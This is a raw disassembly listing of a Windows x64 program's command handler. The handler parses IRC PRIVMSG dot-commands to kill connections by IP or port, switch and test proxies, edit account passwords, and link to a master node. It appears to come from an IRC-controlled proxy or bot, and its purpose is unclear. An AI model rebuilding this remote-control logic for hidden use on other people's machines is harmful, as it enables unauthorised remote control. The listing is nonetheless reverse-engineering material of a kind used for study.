mov ecx, r13d
cmp r15d, 9
jne 0x140050933
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140026dd0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAS
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050a43
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400509bb
cmp r15d, 9
je 0x1400509bb
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_Enable_Disable___s__r_n
jmp 0x1400538ac
mov rdi, qword [rsp + 0x108]
lea rdx, str.Enable
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x1400509f4
lea rdx, str.Disable
mov rcx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004dd98
mov ecx, r13d
cmp r15d, 9
jne 0x140050a19
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov r9, rdi
mov rdx, rbx
call fcn.140026a50
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SMC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054e07
lea rdx, str..STC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054e07
lea rdx, str..SBC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054e07
lea rdx, str..KillUser
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054d8c
lea rdx, [0x140088840]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054d8c
lea rdx, str..KillIP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050b44
cmp r15d, 7
je 0x140050ae0
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rcx, qword [rsp + 0x100]
call fcn.140014f00
lea rbp, [0x1400ad440]
mov ebx, eax
test eax, eax
jle 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:Kill_Source_IP__d_Times_r_n
jmp 0x140050cf0
lea rdx, str..KillDIP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050bd2
cmp r15d, 7
je 0x140050b6e
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rcx, qword [rsp + 0x100]
call fcn.140014fa0
lea rbp, [0x1400ad440]
mov ebx, eax
test eax, eax
jle 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:Kill_Dest_IP__d_Times_r_n
jmp 0x140050cf0
lea rdx, str..KillDPort
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050c60
cmp r15d, 7
je 0x140050bfc
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rcx, qword [rsp + 0x100]
call fcn.140014e10
lea rbp, [0x1400ad440]
mov ebx, eax
test eax, eax
jle 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:Kill_Dest_Port__d_Times_r_n
jmp 0x140050cf0
lea rdx, str..Online
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050d19
mov edi, r13d
cmp r15d, 7
jne 0x140050cab
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rcx, rdi
call fcn.140061730
mov edi, eax
jmp 0x140050cbc
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
call fcn.140018b50
lea rbp, [0x1400ad440]
mov ebx, eax
cmp eax, edi
jb 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:Online__d_Days_r_n
mov dword [rsp + 0x20], ebx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
mov r9, rdi
test eax, eax
je 0x1400538bc
mov r9, qword [rsp + 0xd0]
jmp 0x1400538bc
lea rdx, [0x140088774]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050d86
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x140050d7a
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140029950
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:.ML_Account_r_n
jmp 0x140053774
lea rdx, [0x140088754]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050df3
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x140050de7
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.1400296e0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:.LL_Account_r_n
jmp 0x140053774
lea rdx, [0x140088734]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050e60
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x140050e54
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.1400293e0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:.FA_Account_r_n
jmp 0x140053774
lea rdx, [0x140088710]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050efd
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x140050eb4
cmp r15d, 8
je 0x140050eb4
lea r8, str.PRIVMSG__s_:.LI_Account___s__r_n
jmp 0x140053774
mov r9d, r13d
cmp r15d, 8
jne 0x140050eda
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r9d, r13d
test eax, eax
sete r9b
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140029210
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..DDA
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050f8d
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 6
je 0x140050f4c
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004dd98
mov r8d, r13d
cmp r15d, 7
jne 0x140050f72
mov rcx, qword [rsp + 0x100]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r8d, r13d
test eax, eax
sete r8b
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140028f50
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, [0x1400886e0]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005102a
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x140050fe1
cmp r15d, 8
je 0x140050fe1
lea r8, str.PRIVMSG__s_:.DA_Account___s__r_n
jmp 0x140053774
mov r9d, r13d
cmp r15d, 8
jne 0x140051007
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r9d, r13d
test eax, eax
sete r9b
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140026340
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, [0x1400886b8]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054cc7
lea rdx, str..DEOP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054cc7
lea rdx, str..BAN
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054cc7
lea rdx, str..UNBAN
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054cc7
lea rdx, str..KICK
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051111
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r9, qword [0x1400ad428]
mov rcx, qword [0x1400a9640]
test eax, eax
lea rax, [0x140088694]
lea r8, str.KICK
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x100]
cmove rbx, rdi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b1a0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..PRIVMSG
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051271
lea rbp, [0x1400ad440]
cmp r15d, 7
jb 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rcx, [rsp + 0x24e1]
mov r8d, 0x3ff
test eax, eax
mov byte [rsp + 0x24e0], 0
cmove rsi, rdi
xor edx, edx
call fcn.14005fe50
mov ebx, 0x3fe
mov r10d, 6
sub ebx, r15d
cmp r15d, r10d
jbe 0x14005122a
movzx r8d, word [0x140086da8]
lea r11, [rsp + 0x100]
mov r9, qword [r11]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x24e0]
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
dec rcx
add edx, ecx
cmp edx, ebx
jae 0x14005122a
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x24e0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1400511f0
inc r10d
cmp r10d, r15d
jae 0x14005121d
lea rdi, [rsp + 0x24e0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov word [rdi - 1], r8w
add r11, 8
cmp r10d, r15d
jb 0x1400511a2
mov r9, qword [0x1400ad428]
mov rcx, qword [0x1400a9640]
lea rax, str.No_Way
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x24e0]
lea r8, str.PRIVMSG
mov rdx, rsi
mov qword [rsp + 0x20], rax
call fcn.14002b1a0
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddb7
lea rdx, str..DGARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051301
cmp r15d, 6
je 0x14005129b
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8d, r13d
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x1400512e6
mov rcx, qword [rsp + 0x100]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r8d, r13d
test eax, eax
sete r8b
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140045500
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..DARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005139e
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x140051355
cmp r15d, 8
je 0x140051355
lea r8, str.PRIVMSG__s_:.DARP_Account___s__r_n
jmp 0x140053774
mov r9d, r13d
cmp r15d, 8
jne 0x14005137b
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r9d, r13d
test eax, eax
sete r9b
mov rdx, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r8, rbx
call fcn.14002b370
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..TGRP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051402
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140047990
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..TestUser
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054c28
lea rdx, str..TestUserB
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054c28
lea rdx, str..CheckUser
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400514f4
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rsi, rdi
cmp r15d, 7
je 0x140051484
cmp r15d, 8
je 0x140051484
lea r8, str.PRIVMSG__s_:.CheckUser_UserName___s__r_n
jmp 0x140054927
mov ebx, r13d
cmp r15d, 8
jne 0x1400514a6
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
sete bl
mov rdi, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r9d, 1
mov rdx, rsi
mov r8, rdi
mov dword [rsp + 0x20], ebx
call fcn.1400453e0
mov rcx, qword [0x1400a9640]
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.1400453e0
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddb7
lea rdx, str..SwitchProxy
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051560
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.1400333d0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..CloneProxy
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400515d4
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.1400335a0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..Reload
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005162e
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
call fcn.140045ee0
lea r8, str.PRIVMSG__s_:_d_Accounts_Has_Been_Reloaded_r_n
jmp 0x1400538a8
lea rdx, str..Switch
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005169a
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140034110
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, [0x14008858c]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400516c0
lea rdx, [0x140088588]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051709
cmp r15d, 6
jne 0x140051709
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
mov r8, rbp
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14002c130
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SetAccountGlobalProxyEnable
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054b97
lea rdx, str..SAG
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054b97
lea rdx, str..SetAccountName
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054b06
lea rdx, str..SAN
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054b06
lea rdx, str..SADE
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005180d
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400517b9
cmp r15d, 9
je 0x1400517b9
lea r8, str.PRIVMSG__s_:.SADE_Account_NewInfo___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x1400517de
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140025f40
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SATN
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400518b5
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140051861
cmp r15d, 9
je 0x140051861
lea r8, str.PRIVMSG__s_:.SATN_Account_NewInfo___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x140051886
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140034800
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAID
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005195d
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140051909
cmp r15d, 9
je 0x140051909
lea r8, str.PRIVMSG__s_:.SAID_Account_NewInfo___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x14005192e
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140034d20
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SetAccountPass
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054a75
lea rdx, str..SAP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054a75
lea rdx, str..SetAccountBindedIP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400549e4
lea rdx, str..SAB
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400549e4
lea rdx, str..SetAccountBufferSize
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400548ef
lea rdx, str..SABS
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x1400548ef
lea rdx, str..IsSlave
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051a54
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
lea r8, str.PRIVMSG__s_:Is_On_Slave_Now_r_n
cmove rbx, rdi
cmp dword [0x1400ad8c8], 0
mov r9, rbx
jne 0x140053784
lea r8, str.PRIVMSG__s_:Is_Not_On_Slave_Now_r_n
call fcn.14005ff3c
jmp 0x1400538c1
lea rdx, str..StopSlave
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051aa7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140036630
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..ToMaster
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051b5a
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 8
jne 0x14004dd98
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rcx, rdi
call fcn.140061730
mov rcx, qword [rsp + 0x100]
mov edx, eax
call fcn.140011930
mov r9, rbx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
lea r8, str.PRIVMSG__s_:Connect_To_Master_Successfully_r_n
test eax, eax
jne 0x140053784
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_Master_r_n
call fcn.14005ff3c
jmp 0x1400538c1
lea rdx, str..TestProxy
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051d57
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov r14, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove r14, rdi
cmp r15d, 8
je 0x140051bed
cmp r15d, 0xa
je 0x140051bed
cmp r15d, 0xc
je 0x140051bed
lea r8, str.PRIVMSG__s_:.TestProxy_RemoteHost_RemotePort__UserName___Password__r_n
lea rcx, [rsp + 0x530]
mov r9, r14
mov edx, 0x3ff
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov r14d, dword [rsp + 0x84]
jmp 0x14004ddb7
xor eax, eax
mov esi, r13d
mov rbp, r13
mov r12, r13
mov bx, ax
cmp r15d, 0xc
je 0x140051c07
cmp r15d, 0xa
jne 0x140051c48
mov rbp, qword [rsp + 0x110]
mov r12, qword [rsp + 0x118]
mov esi, 1
cmp r15d, 0xc
jne 0x140051c48
mov rdi, qword [rsp + 0x128]
mov r13, qword [rsp + 0x120]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x140051cb5
mov rcx, rdi
call fcn.140061730
mov ebx, eax
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x140051d04
mov rcx, rdi
call fcn.140061730
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov word [rsp + 0x40], bx
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], esi
mov r9d, eax
mov rdx, r14
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbp
call fcn.14003f680
mov r14d, dword [rsp + 0x84]
mov ebx, dword [rsp + 0x80]
xor r13d, r13d
lea esi, [r13 + 1]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:The_Target_Port_Must_Be_Digit_r_n
lea rcx, [rsp + 0x530]
mov r9, r14
mov edx, 0x3ff
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov r14d, dword [rsp + 0x84]
mov ebx, dword [rsp + 0x80]
xor r13d, r13d
jmp 0x14004ddb7
mov r9, r14
lea r8, str.PRIVMSG__s_:The_Remote_Port_Must_Be_Digit_r_n
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov r14d, dword [rsp + 0x84]
mov ebx, dword [rsp + 0x80]
xor r13d, r13d
lea esi, [r13 + 1]
jmp 0x14004ddb7
lea rdx, str..ListIP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051db0
cmp r15d, 6
jne 0x140051db0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140024790
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, [0x1400886e0]
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051e94
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x140051e88
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x140051e7c
mov rcx, rdi
call fcn.140061730
mov edi, eax
test eax, eax
je 0x140051e70
lea rcx, [rsp + 0xc0]
mov dword [rsp + 0xc0], r13d
call fcn.1400065d0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
cmp edi, dword [rsp + 0xc0]
ja 0x140051e64
mov rcx, qword [0x1400a9640]
lea r8d, [rdi - 1]
mov rdx, rbx
call fcn.1400228b0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:The_Index_Is_Out_Of_Bound_r_n
jmp 0x140053774
lea r8, str.PRIVMSG__s_:The_Account_Number_Must_Bigger_Than_Zero_r_n
jmp 0x140053774
lea r8, str.PRIVMSG__s_:The_Account_Number_Is_Invalid_r_n
jmp 0x140053774
lea r8, str.PRIVMSG__s_:DA_AccountNumber_r_n
jmp 0x140053774
lea rdx, str..AddClient
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140051f5c
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 0xa
jne 0x14004dd98
lea rcx, [rsp + 0xec0]
xor edx, edx
mov r8d, 0x80
call fcn.14005fe50
lea rcx, [0x1400aceb8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9, qword [rsp + 0x118]
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
lea rax, [rsp + 0xec0]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rax
call fcn.140046cd0
lea rcx, [0x1400aceb8]
